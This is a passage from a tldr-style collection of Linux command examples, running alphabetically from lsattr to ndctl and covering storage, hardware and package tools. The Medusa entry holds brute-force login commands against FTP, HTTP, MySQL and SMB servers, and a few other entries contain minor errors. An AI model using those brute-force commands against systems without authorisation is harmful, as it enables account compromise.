lrzuntar -D {{path/to/archive.tar.lrz}}
lsattr
List file attributes on a Linux filesystem.

More information: https://manned.org/lsattr.

• Display the attributes of the files in the current directory:

lsattr

• List the attributes of files in a particular path:

lsattr {{path}}

• List file attributes recursively in the current and subsequent directories:

lsattr -R

• Show attributes of all the files in the current directory, including hidden ones:

lsattr -a

• Display attributes of directories in the current directory:

lsattr -d
lsb_release
Provides certain LSB (Linux Standard Base) and distribution-specific information.

More information: https://manned.org/lsb_release.

• Print all available information:

lsb_release -a

• Print a description (usually the full name) of the operating system:

lsb_release -d

• Print only the operating system name (ID), suppressing the field name:

lsb_release -i -s

• Print the release number and codename of the distribution, suppressing the field
names:

lsb_release -rcs
lsblk
Lists information about devices.

More information: https://manned.org/lsblk.

• List all storage devices in a tree-like format:

lsblk

• Also list empty devices:

lsblk -a

• Print the SIZE column in bytes rather than in a human-readable format:

lsblk -b

• Output info about filesystems:

lsblk -f

• Use ASCII characters for tree formatting:

lsblk -i

• Output info about block-device topology:

lsblk -t

• Exclude the devices specified by the comma-separated list of major device


numbers:

lsblk -e {{1,7}}

• Display a customized summary using a comma-separated list of columns:

lsblk --output {{NAME}},{{SERIAL}},{{MODEL}},{{TRAN}},


{{TYPE}},{{SIZE}},{{FSTYPE}},{{MOUNTPOINT}}
lscpu
Displays information about the CPU architecture.

More information: https://manned.org/lscpu.

• Display information about all CPUs:

lscpu

• Display information in a table:

lscpu --extended

• Display only information about offline CPUs in a table:

lscpu --extended --offline


lshw
List detailed information about hardware configurations as root user.

More information: https://manned.org/lshw.

• Launch the GUI:

sudo lshw -X

• List all hardware in tabular format:

sudo lshw -short

• List all disks and storage controllers in tabular format:

sudo lshw -class disk -class storage -short

• Save all network interfaces to an HTML file:

sudo lshw -class network -html > {{interfaces.html}}


lslocks
List local system locks.

More information: https://manned.org/lslocks.

• List all local system locks:

lslocks

• List locks with defined column headers:

lslocks --output {{PID}},{{COMMAND}},{{PATH}}

• List locks producing a raw output (no columns), and without column headers:

lslocks --raw --noheadings

• List locks by PID input:

lslocks --pid {{PID}}

• List locks with JSON output to stdout:

lslocks --json
lslogins
Show information about users on a Linux system.

More information: https://man7.org/linux/man-pages/man1/lslogins.1.html.

• Display users in the system:

lslogins

• Display users belonging to a specific group:

lslogins --groups={{groups}}

• Display user accounts:

lslogins --user-accs

• Display last logins:

lslogins --last

• Display system accounts:

lslogins --system-accs

• Display supplementary groups:

lslogins --supp-groups
lsmod
Shows the status of Linux kernel modules.

See also modprobe, which loads kernel modules.

More information: https://manned.org/lsmod.

• List all currently loaded kernel modules:

lsmod
lspci
List all PCI devices.

More information: https://manned.org/lspci.

• Show a brief list of devices:

lspci

• Display additional info:

lspci -v

• Display drivers and modules handling each device:

lspci -k

• Show a specific device:

lspci -s {{00:18.3}}

• Dump info in a readable form:

lspci -vm
lsscsi
List SCSI devices (or hosts) and their attributes.

More information: https://manned.org/lspci.

• List all SCSI devices:

lsscsi

• List all SCSI devices with detailed attributes:

lsscsi -L

• List all SCSI devices with human-readable disk capacity:

lsscsi -s
lsusb
Display information about USB buses and devices connected to them.

More information: https://manned.org/lsusb.

• List all the USB devices available:

lsusb

• List the USB hierarchy as a tree:

lsusb -t

• List verbose information about USB devices:

lsusb --verbose

• List detailed information about a USB device:

lsusb -D {{device}}

• List devices with a specified vendor and product ID only:

lsusb -d {{vendor}}:{{product}}
ltrace
Display dynamic library calls of a process.

More information: https://manned.org/ltrace.

• Print (trace) library calls of a program binary:

ltrace ./{{program}}

• Count library calls. Print a handy summary at the bottom:

ltrace -c {{path/to/program}}

• Trace calls to malloc and free, omit those done by libc:

ltrace -e malloc+free-@libc.so* {{path/to/program}}

• Write to file instead of terminal:

ltrace -o {{file}} {{path/to/program}}


lvcreate
Creates a logical volume in an existing volume group. A volume group is a collection of
logical and physical volumes.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/lvcreate.8.html.

• Create a logical volume of 10 gigabytes in the volume group vg1:

lvcreate -L {{10G}} {{vg1}}

• Create a 1500 megabyte linear logical volume named mylv in the volume group
vg1:

lvcreate -L {{1500}} -n {{mylv}} {{vg1}}

• Create a logical volume called mylv that uses 60% of the total space in volume
group vg1:

lvcreate -l {{60%VG}} -n {{mylv}} {{vg1}}

• Create a logical volume called mylv that uses all the unallocated space in the
volume group vg1:

lvcreate -l {{100%FREE}} -n {{mylv}} {{vg1}}


lvdisplay
Display information about Logical Volume Manager (LVM) logical volumes.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/lvdisplay.8.html.

• Display information about all logical volumes:

sudo lvdisplay

• Display information about all logical volumes in volume group vg1:

sudo lvdisplay {{vg1}}

• Display information about logical volume lv1 in volume group vg1:

sudo lvdisplay {{vg1/lv1}}


lvextend
Increase the size of a logical volume.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/lvextend.8.html.

• Increase a volume's size to 120 GB:

lvextend --size {{120G}} {{logical_volume}}

• Increase a volume's size by 40 GB as well as the underlying filesystem:

lvextend --size +{{40G}} -r {{logical_volume}}

• Increase a volume's size to 100% of the free physical volume space:

lvextend --size {{100}}%FREE {{logical_volume}}


lvm
Manage physical volumes, volume groups, and logical volumes using the Logical Volume
Manager (LVM) interactive shell.

More information: https://man7.org/linux/man-pages/man8/lvm.8.html.

• Start the Logical Volume Manager interactive shell:

sudo lvm

• List the Logical Volume Manager commands:

sudo lvm help

• Initialize a drive or partition to be used as a physical volume:

sudo lvm pvcreate {{/dev/sdXY}}

• Display information about physical volumes:

sudo lvm pvdisplay

• Create a volume group called vg1 from the physical volume on /dev/sdXY:

sudo lvm vgcreate {{vg1}} {{/dev/sdXY}}

• Display information about volume groups:

sudo lvm vgdisplay

• Create a logical volume with size 10G from volume group vg1:

sudo lvm lvcreate -L {{10G}} {{vg1}}

• Display information about logical volumes:

sudo lvm lvdisplay


lvreduce
Reduce the size of a logical volume.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/lvreduce.8.html.

• Reduce a volume's size to 120 GB:

lvreduce --size {{120G}} {{logical_volume}}

• Reduce a volume's size by 40 GB as well as the underlying filesystem:

lvreduce --size -{{40G}} -r {{logical_volume}}


lvremove
Remove one or more logical volumes.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/lvremove.8.html.

• Remove a logical volume in a volume group:

sudo lvremove {{volume_group}}/{{logical_volume}}

• Remove all logical volumes in a volume group:

sudo lvremove {{volume_group}}


lvresize
Change the size of a logical volume.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/lvresize.8.html.

• Change the size of a logical volume to 120 GB:

lvresize --size {{120G}} {{volume_group}}/{{logical_volume}}

• Extend the size of a logical volume as well as the underlying filesystem by 120 GB:

lvresize --size +{{120G}} --resizefs {{volume_group}}/


{{logical_volume}}

• Extend the size of a logical volume to 100% of the free physical volume space:

lvresize --size {{100}}%FREE {{volume_group}}/


{{logical_volume}}

• Reduce the size of a logical volume as well as the underlying filesystem by 120 GB:

lvresize --size -{{120G}} --resizefs {{volume_group}}/


{{logical_volume}}
lvs
Display information about logical volumes.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/lvs.8.html.

• Display information about logical volumes:

lvs

• Display all logical volumes:

lvs -a

• Change default display to show more details:

lvs -v

• Display only specific fields:

lvs -o {{field_name_1}},{{field_name_2}}

• Append field to default display:

lvs -o +{{field_name}}

• Suppress heading line:

lvs --noheadings

• Use a separator to separate fields:

lvs --separator {{=}}


lxc network
Manage networks for LXD containers.

More information: https://linuxcontainers.org/lxd/docs/master/networks.

• List all available networks:

lxc network list

• Show the configuration of a specific network:

lxc network show {{network_name}}

• Add a running instance to a specific network:

lxc network attach {{network_name}} {{container_name}}

• Create a new managed network:

lxc network create {{network_name}}

• Set a bridge interface of a specific network:

lxc network set {{network_name}} bridge.external_interfaces


{{eth0}}

• Disable NAT for a specific network:

lxc network set {{network_name}} ipv{{4}}.nat false


lxc profile
Manage profiles for LXD containers.

More information: https://linuxcontainers.org/lxd/docs/master/profiles.

• List all available profiles:

lxc profile list

• Show the configuration of a specific profile:

lxc profile show {{profile_name}}

• Edit a specific profile in the default editor:

lxc profile edit {{profile_name}}

• Edit a specific profile importing the configuration values from a file:

lxc profile edit {{profile_name}} < {{config.yaml}}

• Launch a new container with specific profiles:

lxc launch {{container_image}} {{container_name}} --profile


{{profile1}} --profile {{profile2}}

• Change the profiles of a running container:

lxc profile assign {{container_name}} {{profile1,profile2}}


lxc
Manage Linux containers using the lxd REST API.

Any container names or patterns can be prefixed with the name of a remote server.

More information: https://manned.org/lxc.

• List local containers matching a string. Omit the string to list all local containers:

lxc list {{match_string}}

• List images matching a string. Omit the string to list all images:

lxc image list [{{remote}}:]{{match_string}}

• Create a new container from an image:

lxc init [{{remote}}:]{{image}} {{container}}

• Start a container:

lxc start [{{remote}}:]{{container}}

• Stop a container:

lxc stop [{{remote}}:]{{container}}

• Show detailed info about a container:

lxc info [{{remote}}:]{{container}}

• Take a snapshot of a container:

lxc snapshot [{{remote}}:]{{container}} {{snapshot}}


lxi
Control LXI compatible instruments such as oscilloscopes.

More information: https://github.com/lxi-tools/lxi-tools.

• Discover LXI devices on available networks:

lxi discover

• Capture a screenshot, detecting a plugin automatically:

lxi screenshot --address {{ip_address}}

• Capture a screenshot using a specified plugin:

lxi screenshot --address {{ip_address}} --plugin


{{rigol-1000z}}

• Send an SCPI command to an instrument:

lxi scpi --address {{ip_address}} "{{*IDN?}}"

• Run a benchmark for request and response performance:

lxi benchmark --address {{ip_address}}


lxterminal
Terminal emulator for LXDE.

More information: https://wiki.lxde.org/en/LXTerminal.

• Open an LXTerminal window:

lxterminal

• Open an LXTerminal window, run a command, and then exit:

lxterminal -e "{{command}}"

• Open an LXTerminal window with multiple tabs:

lxterminal --tabs={{tab_name1,tab_name2,...}}

• Open an LXTerminal window with a specific title:

lxterminal --title={{title_name}}

• Open an LXTerminal window with a specific working directory:

lxterminal --working-directory={{path/to/directory}}
lynis
System and security auditing tool.

More information: https://cisofy.com/documentation/lynis/.

• Check that Lynis is up-to-date:

sudo lynis update info

• Run a security audit of the system:

sudo lynis audit system

• Run a security audit of a Dockerfile:

sudo lynis audit dockerfile {{path/to/dockerfile}}


mac2unix
Change macOS-style line endings to Unix-style.

Replaces LF with CR.

More information: https://waterlan.home.xs4all.nl/dos2unix.html.

• Change the line endings of a file:

mac2unix {{filename}}

• Create a copy with Unix-style line endings:

mac2unix -n {{filename}} {{new_filename}}


macchanger
Command-line utility for manipulating network interface MAC addresses.

More information: https://manned.org/macchanger.

• View the current and permanent MAC addresses of a interface:

macchanger --show {{interface}}

• Set interface to a random MAC:

macchanger --random {{interface}}

• Set interface to a specific MAC:

macchanger --mac {{XX:XX:XX:XX:XX:XX}} {{interface}}

• Reset interface to its permanent hardware MAC:

macchanger --permanent {{interface}}


maim
Screenshot utility.

More information: https://github.com/naelstrof/maim.

• Capture a screenshot and save it to the given path:

maim {{path/to/screenshot.png}}

• Capture a screenshot of the selected region:

maim --select {{path/to/screenshot.png}}

• Capture a screenshot of the selected region and save it in the clipboard (requires
xclip):

maim --select | xclip -selection clipboard -target image/png

• Capture a screenshot of the current active window (requires xdotool):

maim --window $(xdotool getactivewindow) {{path/to/


screenshot.png}}
makepkg
Create a package which can be used with pacman.

Uses the PKGBUILD file in the current working directory by default.

More information: https://man.archlinux.org/man/makepkg.8.

• Make a package:

makepkg

• Make a package and install its dependencies:

makepkg --syncdeps

• Make a package, install its dependencies then install it to the system:

makepkg --syncdeps --install

• Make a package, but skip checking the source's hashes:

makepkg --skipchecksums

• Clean up work directories after a successful build:

makepkg --clean

• Verify the hashes of the sources:

makepkg --verifysource

• Generate and save the source information into .SRCINFO:

makepkg --printsrcinfo > .SRCINFO


mandb
Manage the pre-formatted manual page database.

More information: https://man7.org/linux/man-pages/man8/mandb.8.html.

• Purge and process manual pages:

mandb

• Update a single entry:

mandb --filename {{path/to/file}}

• Create entries from scratch instead of updating:

mandb --create

• Only process user databases:

mandb --user-db

• Do not purge obsolete entries:

mandb --no-purge

• Check the validity of manual pages:

mandb --test
manpath
Determine the search path for manual pages.

More information: https://manned.org/manpath.

• Display the search path used to find man pages:

manpath

• Show the entire global manpath:

manpath --global
mcookie
Generates random 128-bit hexadecimal numbers.

More information: https://manned.org/mcookie.

• Generate a random number:

mcookie

• Generate a random number, using the contents of a file as a seed for the
randomness:

mcookie --file {{path/to/file}}

• Generate a random number, using a specific number of bytes from a file as a seed
for the randomness:

mcookie --file {{path/to/file}} --max-size


{{number_of_bytes}}

• Print the details of the randomness used, such as the origin and seed for each
source:

mcookie --verbose
mdadm
RAID management utility.

More information: https://manned.org/mdadm.

• Create array:

mdadm --create {{/dev/md/MyRAID}} --level {{raid_level}} --


raid-devices {{number_of_disks}} {{/dev/sdXN}}

• Stop array:

mdadm --stop {{/dev/md0}}

• Mark disk as failed:

mdadm --fail {{/dev/md0}} {{/dev/sdXN}}

• Remove disk:

mdadm --remove {{/dev/md0}} {{/dev/sdXN}}

• Add disk to array:

mdadm --assemble {{/dev/md0}} {{/dev/sdXN}}

• Show RAID info:

mdadm --detail {{/dev/md0}}


mdbook
Create online books by writing makrdown files.

More information: https://rust-lang.github.io/mdBook/.

• Create a mdbook project in the current directory:

mdbook init

• Create a mdbook project in a specific directory:

mdbook init {{path/to/directory}}

• Clean the directory with the generated book:

mdbook clean

• Serve a book at http://localhost:3000, auto build when file changes:

mdbook serve

• Watch a set of Markdown files and automatically build when a file is changed:

mdbook watch
Medusa
A modular and parallel login brute-forcer for a variety of protocols.

More information: https://manned.org/medusa.

• Execute brute force against an FTP server using a file containing usernames and a
file containing passwords:

medusa -M ftp -h host -U {{path/to/username_file}} -P {{path/


to/password_file}}

• Execute a login attempt against an HTTP server using the username, password and
user-agent specified:

medusa -M HTTP -h host -u {{username}} -p {{password}} -m


USER-AGENT:"{{Agent}}"

• Execute a brute force against a MySQL server using a file containing usernames
and a hash:

medusa -M mysql -h host -U {{path/to/username_file}} -p


{{hash}} -m PASS:HASH

• Execute a brute force against a list of SMB servers using a username and a
pwdump file:

medusa -M smbnt -H {{path/to/hosts_file}} -C {{path/to/


pwdump_file}} -u {{username}} -m PASS:HASH
megadl
This command is an alias of megatools-dl.

More information: https://megatools.megous.com/man/megatools-dl.html.

• View documentation for the original command:

tldr megatools-dl
megatools-dl
Download files from mega.nz.

Part of the megatools suite.

More information: https://megatools.megous.com/man/megatools-dl.html.

• Download files from a mega.nz link into the current directory:

megatools-dl {{https://mega.nz/...}}

• Download files from a mega.nz link into a specific directory:

megatools-dl --path {{path/to/directory}} {{https://


mega.nz/...}}

• Interactively choose which files to download:

megatools-dl --choose-files {{https://mega.nz/...}}

• Limit the download speed in KiB/s:

megatools-dl --limit-speed {{speed}} {{https://mega.nz/...}}


microcom
A minimalistic terminal program, used to access remote devices via a serial, CAN or
telnet connection from the console.

More information: https://manned.org/microcom.

• Open a serial port using the specified baud rate:

microcom --port {{path/to/serial_port}} --speed {{baud_rate}}

• Establish a telnet connection to the specified host:

microcom --telnet {{hostname}}:{{port}}


mimetype
Automatically determine the MIME type of a file.

More information: https://manned.org/mimetype.

• Print the MIME type of a given file:

mimetype {{path/to/file}}

• Display only the MIME type, and not the filename:

mimetype --brief {{path/to/file}}

• Display a description of the MIME type:

mimetype --describe {{path/to/file}}

• Determine the MIME type of stdin (does not check a filename):

{{some_command}} | mimetype --stdin

• Display debug information about how the MIME type was determined:

mimetype --debug {{path/to/file}}

• Display all the possible MIME types of a given file in confidence order:

mimetype --all {{path/to/file}}

• Explicitly specify the 2-letter language code of the output:

mimetype --language {{path/to/file}}


minicom
A program to communicate with the serial interface of a device.

More information: https://manned.org/minicom.

• Open a given serial port:

sudo minicom --device {{/dev/ttyUSB0}}

• Open a given serial port with a given baud rate:

sudo minicom --device {{/dev/ttyUSB0}} --baudrate {{115200}}

• Enter the configuration menu before communicating with a given serial port:

sudo minicom --device {{/dev/ttyUSB0}} --setup


mke2fs
Creates a Linux filesystem inside a partition.

More information: https://manned.org/mke2fs.

• Create an ext2 filesystem in partition 1 of device b (sdb1):

mkfs.ext2 {{/dev/sdb1}}

• Create an ext3 filesystem in partition 1 of device b (sdb1):

mkfs.ext3 {{/dev/sdb1}}

• Create an ext4 filesystem in partition 1 of device b (sdb1):

mkfs.ext4 {{/dev/sdb1}}
mkfs.btrfs
Create a btrfs filesystem.

Defaults to raid1, which specifies 2 copies of a given data block spread across 2
different devices.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/mkfs.btrfs.

• Create a btrfs filesystem on a single device:

sudo mkfs.btrfs --metadata single --data single {{/dev/sda}}

• Create a btrfs filesystem on multiple devices with raid1:

sudo mkfs.btrfs --metadata raid1 --data raid1 {{/dev/sda}}


{{/dev/sdb}} {{/dev/sdN}}

• Set a label for the filesystem:

sudo mkfs.btrfs --label "{{label}}" {{/dev/sda}} [{{/dev/


sdN}}]
mkfs.cramfs
Creates a ROM filesystem inside a partition.

More information: https://manned.org/mkfs.cramfs.

• Create a ROM filesystem inside partition 1 on device b (sdb1):

mkfs.cramfs {{/dev/sdb1}}

• Create a ROM filesystem with a volume-name:

mkfs.cramfs -n {{volume_name}} {{/dev/sdb1}}


mkfs.exfat
Creates an exfat filesystem inside a partition.

More information: https://manned.org/mkfs.exfat.

• Create an exfat filesystem inside partition 1 on device b (sdb1):

mkfs.exfat {{/dev/sdb1}}

• Create filesystem with a volume-name:

mkfs.exfat -n {{volume_name}} {{/dev/sdb1}}

• Create filesystem with a volume-id:

mkfs.exfat -i {{volume_id}} {{/dev/sdb1}}


mkfs.ext4
Creates an ext4 filesystem inside a partition.

More information: https://manned.org/mkfs.ext4.

• Create an ext4 filesystem inside partition 1 on device b (sdb1):

sudo mkfs.ext4 {{/dev/sdb1}}

• Create an ext4 filesystem with a volume-label:

sudo mkfs.ext4 -L {{volume_label}} {{/dev/sdb1}}


mkfs.fat
Creates an MS-DOS filesystem inside a partition.

More information: https://manned.org/mkfs.fat.

• Create a fat filesystem inside partition 1 on device b (sdb1):

mkfs.fat {{/dev/sdb1}}

• Create filesystem with a volume-name:

mkfs.fat -n {{volume_name}} {{/dev/sdb1}}

• Create filesystem with a volume-id:

mkfs.fat -i {{volume_id}} {{/dev/sdb1}}

• Use 5 instead of 2 file allocation tables:

mkfs.fat -f 5 {{/dev/sdb1}}
mkfs
Build a Linux filesystem on a hard disk partition.

This command is deprecated in favor of filesystem specific mkfs. utils.

More information: https://manned.org/mkfs.

• Build a Linux ext2 filesystem on a partition:

mkfs {{path/to/partition}}

• Build a filesystem of a specified type:

mkfs -t {{ext4}} {{path/to/partition}}

• Build a filesystem of a specified type and check for bad blocks:

mkfs -c -t {{ntfs}} {{path/to/partition}}


mkfs.minix
Creates a Minix filesystem inside a partition.

More information: https://manned.org/mkfs.minix.

• Create a Minix filesystem inside partition 1 on device b (sdb1):

mkfs.minix {{/dev/sdb1}}
mkfs.ntfs
Creates a NTFS filesystem inside a partition.

More information: https://manned.org/mkfs.ntfs.

• Create a NTFS filesystem inside partition 1 on device b (sdb1):

mkfs.ntfs {{/dev/sdb1}}

• Create filesystem with a volume-label:

mkfs.ntfs -L {{volume_label}} {{/dev/sdb1}}

• Create filesystem with specific UUID:

mkfs.ntfs -U {{UUID}} {{/dev/sdb1}}


mkfs.vfat
Creates an MS-DOS filesystem inside a partition.

More information: https://manned.org/mkfs.vfat.

• Create a vfat filesystem inside partition 1 on device b (sdb1):

mkfs.vfat {{/dev/sdb1}}

• Create filesystem with a volume-name:

mkfs.vfat -n {{volume_name}} {{/dev/sdb1}}

• Create filesystem with a volume-id:

mkfs.vfat -i {{volume_id}} {{/dev/sdb1}}

• Use 5 instead of 2 file allocation tables:

mkfs.vfat -f 5 {{/dev/sdb1}}
mkinitcpio
Generates initial ramdisk environments for booting the Linux kernel based on the
specified preset(s).

More information: https://man.archlinux.org/man/mkinitcpio.8.

• Perform a dry run (print what would be done without actually doing it):

mkinitcpio

• Generate a ramdisk environment based on the linux preset:

mkinitcpio --preset {{linux}}

• Generate a ramdisk environment based on the linux-lts preset:

mkinitcpio --preset {{linux-lts}}

• Generate ramdisk environments based on all existing presets (used to regenerate


all the initramfs images after a change in /etc/mkinitcpio.conf):

mkinitcpio --allpresets

• Generate an initramfs image using an alternative configuration file:

mkinitcpio --config {{path/to/mkinitcpio.conf}} --generate


{{path/to/initramfs.img}}

• Generate an initramfs image for a kernel other than the one currently running (the
installed kernel releases can be found in /usr/lib/modules/):

mkinitcpio --kernel {{kernel_version}} --generate {{path/to/


initramfs.img}}

• List all available hooks:

mkinitcpio --listhooks

• Display help for a specific hook:

mkinitcpio --hookhelp {{hook_name}}


mkisofs
Create ISO files from directories.

Also aliased as genisoimage.

More information: https://manned.org/mkisofs.

• Create an ISO from a directory:

mkisofs -o {{filename.iso}} {{path/to/source_directory}}

• Set the disc label when creating an ISO:

mkisofs -o {{filename.iso}} -V "{{label_name}}" {{path/to/


source_directory}}
mklost+found
Create a lost+found directory.

More information: https://manned.org/mklost+found.

• Create a lost+found directory in the current directory:

mklost+found
mknod
Create block or character device special files.

More information: https://www.gnu.org/software/coreutils/mknod.

• Create a block device:

sudo mknod {{path/to/device_file}} b {{major_device_number}}


{{minor_device_number}}

• Create a character device:

sudo mknod {{path/to/device_file}} c {{major_device_number}}


{{minor_device_number}}

• Create a FIFO (queue) device:

sudo mknod {{path/to/device_file}} p

• Create a device file with default SELinux security context:

sudo mknod -Z {{path/to/device_file}} {{type}}


{{major_device_number}} {{minor_device_number}}
mkswap
Sets up a Linux swap area on a device or in a file.

More information: https://manned.org/mkswap.

• Setup a given partition as swap area:

sudo mkswap {{/dev/sdb7}}

• Use a given file as swap area:

sudo mkswap {{path/to/file}}

• Check a partition for bad blocks before creating the swap area:

sudo mkswap -c {{/dev/sdb7}}

• Specify a label for the file (to allow swapon to use the label):

sudo mkswap -L {{swap1}} {{path/to/file}}


mmcli
Control and monitor the ModemManager.

More information: https://www.freedesktop.org/software/ModemManager/man/latest/


mmcli.1.html.

• List SMS messages available on the modem:

sudo mmcli --modem={{modem}} --messaging-list-sms

• Delete a message from the modem, specifying its path:

sudo mmcli --modem={{modem}} --messaging-delete-sms={{path/


to/message_file}}
mocp
Music on Console (MOC) audio player.

More information: https://manned.org/mocp.

• Launch the MOC terminal UI:

mocp

• Launch the MOC terminal UI in a specific directory:

mocp {{path/to/directory}}

• Start the MOC server in the background, without launching the MOC terminal UI:

mocp --server

• Add a specific song to the play queue while MOC is in the background:

mocp --enqueue {{path/to/audio_file}}

• Add songs recursively to the play queue while MOC is in the background:

mocp --append {{path/to/directory}}

• Clear the play queue while MOC is in the background:

mocp --clear

• Play or stop the currently queued song while MOC is in the background:

mocp --{{play|stop}}

• Stop the MOC server while it's in the background:

mocp --exit
modinfo
Extract information about a Linux kernel module.

More information: https://manned.org/modinfo.

• List all attributes of a kernel module:

modinfo {{kernel_module}}

• List the specified attribute only:

modinfo -F {{author|description|license|parm|filename}}
{{kernel_module}}
modprobe
Add or remove modules from the Linux kernel.

More information: https://manned.org/modprobe.

• Pretend to load a module into the kernel, but don't actually do it:

sudo modprobe --dry-run {{module_name}}

• Load a module into the kernel:

sudo modprobe {{module_name}}

• Remove a module from the kernel:

sudo modprobe --remove {{module_name}}

• Remove a module and those that depend on it from the kernel:

sudo modprobe --remove-dependencies {{module_name}}

• Show a kernel module's dependencies:

sudo modprobe --show-depends {{module_name}}


module
Modify a users' environment using the module command.

More information: https://lmod.readthedocs.io/en/latest/010_user.html.

• Display available modules:

module avail

• Search for a module by name:

module avail {{module_name}}

• Load a module:

module load {{module_name}}

• Display loaded modules:

module list

• Unload a specific loaded module:

module unload {{module_name}}

• Unload all loaded modules:

module purge
mono
Runtime for the .NET Framework.

More information: https://www.mono-project.com/docs/.

• Run a .NET assembly in debug mode:

mono --debug {{path/to/program.exe}}

• Run a .NET assembly:

mono {{path/to/program.exe}}
mons
A tool to quickly manage two displays.

More information: https://github.com/Ventto/mons.

• Enable only the primary monitor:

mons -o

• Enable only the secondary monitor:

mons -s

• Duplicate the primary monitor onto the secondary monitor, using the resolution
of the primary monitor:

mons -d

• Mirror the primary monitor onto the secondary monitor, using the resolution of
the secondary monitor:

mons -m
mountpoint
Test if a directory is a filesystem mountpoint.

More information: https://manned.org/mountpoint.

• Check if a directory is a mountpoint:

mountpoint {{path/to/directory}}

• Check if a directory is a mountpoint without showing any output:

mountpoint -q {{path/to/directory}}

• Show major/minor numbers of a mountpoint's filesystem:

mountpoint --fs-devno {{path/to/directory}}


mpg123
Console MPEG audio player.

More information: https://manned.org/mpg123.

• Play the specified mp3 files:

mpg123 {{path/to/file1.mp3 path/to/file2.mp3 ...}}

• Play the mp3 from stdin:

cat {{file.mp3}} | mpg123 -

• Jump forward to the next song:

• Jump back to the beginning for the song:

• Stop or replay the current file:

• Fast forward:

• Quit:

q
mpstat
Report CPU statistics.

More information: https://manned.org/mpstat.

• Display CPU statistics every 2 seconds:

mpstat {{2}}

• Display 5 reports, one by one, at 2 second intervals:

mpstat {{2}} {{5}}

• Display 5 reports, one by one, from a given processor, at 2 second intervals:

mpstat -P {{0}} {{2}} {{5}}


mssh
GTK+ based SSH client for interacting with multiple SSH servers at once.

More information: https://manned.org/mssh.

• Open a new window and connect to multiple SSH servers:

mssh {{user@host1}} {{user@host2}} {{...}}

• Open a new window and connect to a group of servers predefined in


~/.mssh_clusters:

mssh --alias {{alias_name}}


mt
Control magnetic tape drive operation (commonly LTO tape).

More information: https://manned.org/mt.

• Check the status of a tape drive:

mt -f {{/dev/nstX}} status

• Rewind the tape to beginning:

mt -f {{/dev/nstX}} rewind

• Move forward a given files, then position the tape on first block of next file:

mt -f {{/dev/nstX}} fsf {{count}}

• Rewind the tape, then position the tape at beginning of the given file:

mt -f {{/dev/nstX}} asf {{count}}

• Position the tape at the end of valid data:

mt -f {{/dev/nstX}} eod

• Rewind the tape and unload/eject it:

mt -f {{/dev/nstX}} eject

• Write EOF (End-of-file) mark at the current position:

mt -f {{/dev/nstX} eof
mullvad
CLI client for Mullvad VPN.

More information: https://mullvad.net/.

• Link your mullvad account with the specified account number:

mullvad account set {{account_number}}

• Enable LAN access while VPN is on:

mullvad lan set allow

• Establish the VPN tunnel:

mullvad connect

• Check status of VPN tunnel:

mullvad status
mycli
A CLI for MySQL, MariaDB, and Percona with auto-completion and syntax highlighting.

More information: https://manned.org/mycli.

• Connect to a database with the currently logged in user:

mycli {{database_name}}

• Connect to a database with the specified user:

mycli -u {{user}} {{database_name}}

• Connect to a database on the specified host with the specified user:

mycli -u {{user}} -h {{host}} {{database_name}}


namcap
Check binary packages and source PKGBUILDs for common packaging mistakes.

More information: https://man.archlinux.org/man/namcap.1.

• Check a specific PKGBUILD file:

namcap {{path/to/pkgbuild}}

• Check a specific package file:

namcap {{path/to/package.pkg.tar.zst}}

• Check a file, printing extra [i]nformational messages:

namcap -i {{path/to/file}}
named
Execute the DNS (Dynamic Name Service) server daemon that converts host names to IP
addresses and vice versa.

More information: https://manned.org/named.

• Read the default configuration file /etc/named.conf, read any initial data and
listen for queries:

named

• Read a custom configuration file:

named -c {{path/to/named.conf}}

• Use IPv4 or IPv6 only, even if the host machine is capable of utilising other
protocols:

named {{-4|-6}}

• Listen for queries on a specific port instead of the default port 53:

named -p {{port}}

• Run the server in the foreground and do not daemonize:

named -f
namei
Follows a pathname (which can be a symbolic link) until a terminal point is found (a file/
directory/char device etc).

This program is useful for finding "too many levels of symbolic links" problems.

• Resolve the pathnames specified as the argument parameters:

namei {{path/to/a}} {{path/to/b}} {{path/to/c}}

• Display the results in a long-listing format:

namei --long {{path/to/a}} {{path/to/b}} {{path/to/c}}

• Show the mode bits of each file type in the style of ls:

namei --modes {{path/to/a}} {{path/to/b}} {{path/to/c}}

• Show owner and group name of each file:

namei --owners {{path/to/a}} {{path/to/b}} {{path/to/c}}

• Don't follow symlinks while resolving:

namei --nosymlinks {{path/to/a}} {{path/to/b}} {{path/to/c}}


nautilus
Default file explorer for GNOME desktop environment.

Also known as GNOME Files.

More information: https://manned.org/nautilus.

• Launch Nautilus:

nautilus

• Launch Nautilus as root user:

sudo nautilus

• Launch Nautilus and display a specific directory:

nautilus {{path/to/directory}}

• Launch Nautilus with a specific file or directory selected:

nautilus --select {{path/to/file_or_directory}}

• Launch Nautilus in a separated window:

nautilus --new-window

• Close all Nautilus instances:

nautilus --quit

• Display help:

nautilus --help
ncal
This command is an alias of cal.

• View documentation for the original command:

tldr cal
ncat
Use the normal cat functionality over networks.

• Listen for input on the specified port and write it to the specified file:

ncat -l {{port}} > {{path/to/file}}

• Accept multiple connections and keep ncat open after they have been closed:

ncat -lk {{port}}

• Write output of specified file to the specified host on the specified port:

ncat {{address}} {{port}} < {{path/to/file}}


ncdu
Disk usage analyzer with an ncurses interface.

More information: https://manned.org/ncdu.

• Analyze the current working directory:

ncdu

• Colorize output:

ncdu --color {{dark|off}}

• Analyze a given directory:

ncdu {{path/to/directory}}

• Save results to a file:

ncdu -o {{path/to/file}}

• Exclude files that match a pattern, argument can be given multiple times to add
more patterns:

ncdu --exclude '{{*.txt}}'


ndctl
Utility for managing Non-Volatile DIMMs.

• Create an 'fsdax' mode namespace:

ndctl create-namespace --mode={{fsdax}}

• Change the mode of a namespace to 'raw':

ndctl create-namespace --reconfigure={{namespaceX.Y}} --


mode={{raw}}

• Check a sector mode namespace for consistency, and repair if needed:

ndctl check-namespace --repair {{namespaceX.Y}}

• List all namespaces, regions, and buses (including disabled ones):

ndctl list --namespaces --regions --buses --idle

• List a specific namespace and include lots of additional information:

ndctl list -vvv --namespace={{namespaceX.Y}}

• Run a monitor to watch for SMART health events for NVDIMMs on the 'ACPI.NFIT'
bus:

